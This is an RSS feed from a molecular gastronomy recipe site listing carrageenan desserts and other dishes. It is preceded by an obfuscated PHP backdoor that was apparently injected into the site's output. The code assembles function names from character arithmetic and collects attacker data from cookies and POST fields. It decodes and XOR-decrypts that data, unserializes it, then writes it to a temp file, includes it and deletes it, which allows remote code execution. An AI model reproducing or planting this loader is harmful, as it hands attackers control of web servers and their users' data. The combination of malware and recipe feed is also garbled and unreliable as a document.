$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();}<br />
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	<title>iota carrageenan &#8211; Molecular Recipes</title>
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	<itunes:author>iota carrageenan &#8211; Molecular Recipes</itunes:author>
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		<title>Goat Milk Gel, Strawberries, Port, Apple Cider</title>
		<link>http://www.molecularrecipes.com/gelification/goat-milk-gel-strawberries-fluid-gels/</link>
		<comments>http://www.molecularrecipes.com/gelification/goat-milk-gel-strawberries-fluid-gels/#comments</comments>
		<pubDate>Tue, 20 Jan 2015 06:55:40 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Gelification]]></category>
		<category><![CDATA[Multiple Techniques]]></category>
		<category><![CDATA[agar agar]]></category>
		<category><![CDATA[citric acid]]></category>
		<category><![CDATA[dessert]]></category>
		<category><![CDATA[intermediate]]></category>
		<category><![CDATA[iota carrageenan]]></category>
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		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=10875</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/gelification/thumbs/thumbs_goat-milk-gel-sqr.jpg" alt="goat-milk-gel-sqr" title="gelification" class="wp-post-image ngg-image-1432 " />A refreshing dessert with goat milk gel, macerated strawberries, port wine fluid gel, apple cider fluid gel, powdered blueberries, candied pecans and cilantro. A perfect combination of flavors and textures!]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/gelification/goat-milk-gel-strawberries-fluid-gels/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Eggless Scotch Flan</title>
		<link>http://www.molecularrecipes.com/gelification/eggless-scotch-flan/</link>
		<comments>http://www.molecularrecipes.com/gelification/eggless-scotch-flan/#comments</comments>
		<pubDate>Thu, 11 Dec 2014 07:04:07 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Gelification]]></category>
		<category><![CDATA[dessert]]></category>
		<category><![CDATA[easy]]></category>
		<category><![CDATA[gelification]]></category>
		<category><![CDATA[iota carrageenan]]></category>
		<category><![CDATA[kappa carrageenan]]></category>
		<category><![CDATA[Premium Kit]]></category>
		<category><![CDATA[Ultimate Kit]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=10659</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/gelification/thumbs/thumbs_eggless-scotch-flan-sqr.jpg" alt="Eggless Flan with iota and kappa carrageenan -sqr" title="gelification" class="wp-post-image ngg-image-1426 " />The eggs are a critical component responsible for the final smooth and creamy texture of flan, but in this recipe, we replace them with carrageenans to produce a very similar texture without any fat.]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/gelification/eggless-scotch-flan/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Coffee and Milk Foam</title>
		<link>http://www.molecularrecipes.com/foams/coffee-milk-foam/</link>
		<comments>http://www.molecularrecipes.com/foams/coffee-milk-foam/#comments</comments>
		<pubDate>Wed, 19 Nov 2014 06:10:54 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Foams]]></category>
		<category><![CDATA[dessert]]></category>
		<category><![CDATA[easy]]></category>
		<category><![CDATA[iota carrageenan]]></category>
		<category><![CDATA[ISI Whip]]></category>
		<category><![CDATA[Premium Kit]]></category>
		<category><![CDATA[soy lecithin]]></category>
		<category><![CDATA[Ultimate Kit]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=10618</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/foams/thumbs/thumbs_coffee-milk-foam-sqr.jpg" alt="Coffee and milk foam stabilized with soy lecithin and iota carrageenan -sqr" title="foams" class="wp-post-image ngg-image-1409 " />A simple coffee and milk foam that can complement many desserts for a modernist twist. Made light and airy with an iSi Whip charged with N2O and stabilized with soy lecithin as the emulsifier and iota carrageenan as a thickener. ]]></description>
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		<slash:comments>15</slash:comments>
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		<title>Modernist Caramel Cream</title>
		<link>http://www.molecularrecipes.com/gelification/modernist-caramel-cream/</link>
		<comments>http://www.molecularrecipes.com/gelification/modernist-caramel-cream/#comments</comments>
		<pubDate>Wed, 05 Nov 2014 06:17:20 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Gelification]]></category>
		<category><![CDATA[dessert]]></category>
		<category><![CDATA[easy]]></category>
		<category><![CDATA[iota carrageenan]]></category>
		<category><![CDATA[kappa carrageenan]]></category>
		<category><![CDATA[Premium Kit]]></category>
		<category><![CDATA[Ultimate Kit]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=10541</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/gelification/thumbs/thumbs_caramel-cream-top-sqr.jpg" alt="Caramel cream with iota carrageenan and kappa carrageenan-top-sqr" title="gelification" class="wp-post-image ngg-image-1368 " />A simple but irresistible smooth caramel cream made with Iota Carrageenan and Kappa Carrageenan.]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/gelification/modernist-caramel-cream/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
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		<title>Swiss Meringue Freeze-Thaw Stable</title>
		<link>http://www.molecularrecipes.com/foams/swiss-meringue-freeze-thaw-stable/</link>
		<comments>http://www.molecularrecipes.com/foams/swiss-meringue-freeze-thaw-stable/#comments</comments>
		<pubDate>Sun, 26 Oct 2014 21:08:29 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Foams]]></category>
		<category><![CDATA[dessert]]></category>
		<category><![CDATA[easy]]></category>
		<category><![CDATA[foams]]></category>
		<category><![CDATA[guar gum]]></category>
		<category><![CDATA[iota carrageenan]]></category>
		<category><![CDATA[Ultimate Kit]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=10510</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/foams/thumbs/thumbs_swiss-meringue-sqr.jpg" alt="Swiss meringue freeze-thaw stable -sqr" title="foams" class="wp-post-image ngg-image-1362 " />A convenient swiss meringue that is freeze-thaw stable so it can be frozen to be used later when needed, thanks to the properties of iota carrageenan and guar gum.]]></description>
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		<slash:comments>7</slash:comments>
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		<title>Peruvian Inspired Filet Mignon with a Japanese Twist</title>
		<link>http://www.molecularrecipes.com/multiple-techniques/peruvian-inspired-filet-mignon-japanese-twist/</link>
		<comments>http://www.molecularrecipes.com/multiple-techniques/peruvian-inspired-filet-mignon-japanese-twist/#comments</comments>
		<pubDate>Tue, 18 Dec 2012 05:47:05 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Multiple Techniques]]></category>
		<category><![CDATA[Sous Vide]]></category>
		<category><![CDATA[advanced]]></category>
		<category><![CDATA[dehydrate]]></category>
		<category><![CDATA[dehydration]]></category>
		<category><![CDATA[gelification]]></category>
		<category><![CDATA[gellan]]></category>
		<category><![CDATA[iota carrageenan]]></category>
		<category><![CDATA[kappa carrageenan]]></category>
		<category><![CDATA[smoking]]></category>
		<category><![CDATA[smoking gun]]></category>
		<category><![CDATA[sous-vide]]></category>
		<category><![CDATA[Ultimate Kit]]></category>
		<category><![CDATA[ultra-tex 3]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=4914</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/multiple-techniques/thumbs/thumbs_peruvian-filet-mignon-sqr.jpg" alt="Peruvian Inspired Filet Mignon with a Japanese Twist" title="multiple-techniques" class="wp-post-image ngg-image-599 " />Filet mignon with Peruvian chili pepper sauces, Asian BBQ jerky, modernist smoked Gouda custard over onion cracker, onion gel and tea-smoked beech mushrooms. You’ll be applying various techniques: gelification with iota and kappa carrageenan, sous vide, dehydration and smoking with tea.]]></description>
		<wfw:commentRss>http://www.molecularrecipes.com/multiple-techniques/peruvian-inspired-filet-mignon-japanese-twist/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Sous Vide Egg Yolk Croquette with Gruyere Foam</title>
		<link>http://www.molecularrecipes.com/eggs/sous-vide-egg-yolk-croquette-gruyere-foam/</link>
		<comments>http://www.molecularrecipes.com/eggs/sous-vide-egg-yolk-croquette-gruyere-foam/#comments</comments>
		<pubDate>Mon, 06 Aug 2012 15:42:04 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Eggs]]></category>
		<category><![CDATA[Sous Vide]]></category>
		<category><![CDATA[foams]]></category>
		<category><![CDATA[intermediate]]></category>
		<category><![CDATA[iota carrageenan]]></category>
		<category><![CDATA[ISI Whip]]></category>
		<category><![CDATA[Premium Kit]]></category>
		<category><![CDATA[sous-vide]]></category>
		<category><![CDATA[Thermomix]]></category>
		<category><![CDATA[Ultimate Kit]]></category>
		<category><![CDATA[xanthan gum]]></category>

		<guid isPermaLink="false">http://www.molecularrecipes.com/?p=4148</guid>
		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/eggs/thumbs/thumbs_sous-vide-yolk-croquette-op.jpg" alt="Sous Vide Yolk Croquette with Gruyere Foam" title="eggs" class="wp-post-image ngg-image-473 " />Creamy Spanish croquettes are one of my favorite tapas and this modernist version is no exception! A delicious crunchy shell with luscious custard-like egg yolk filling cooked sous vide paired perfectly with warm nutty Gruyere foam. ]]></description>
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		<slash:comments>19</slash:comments>
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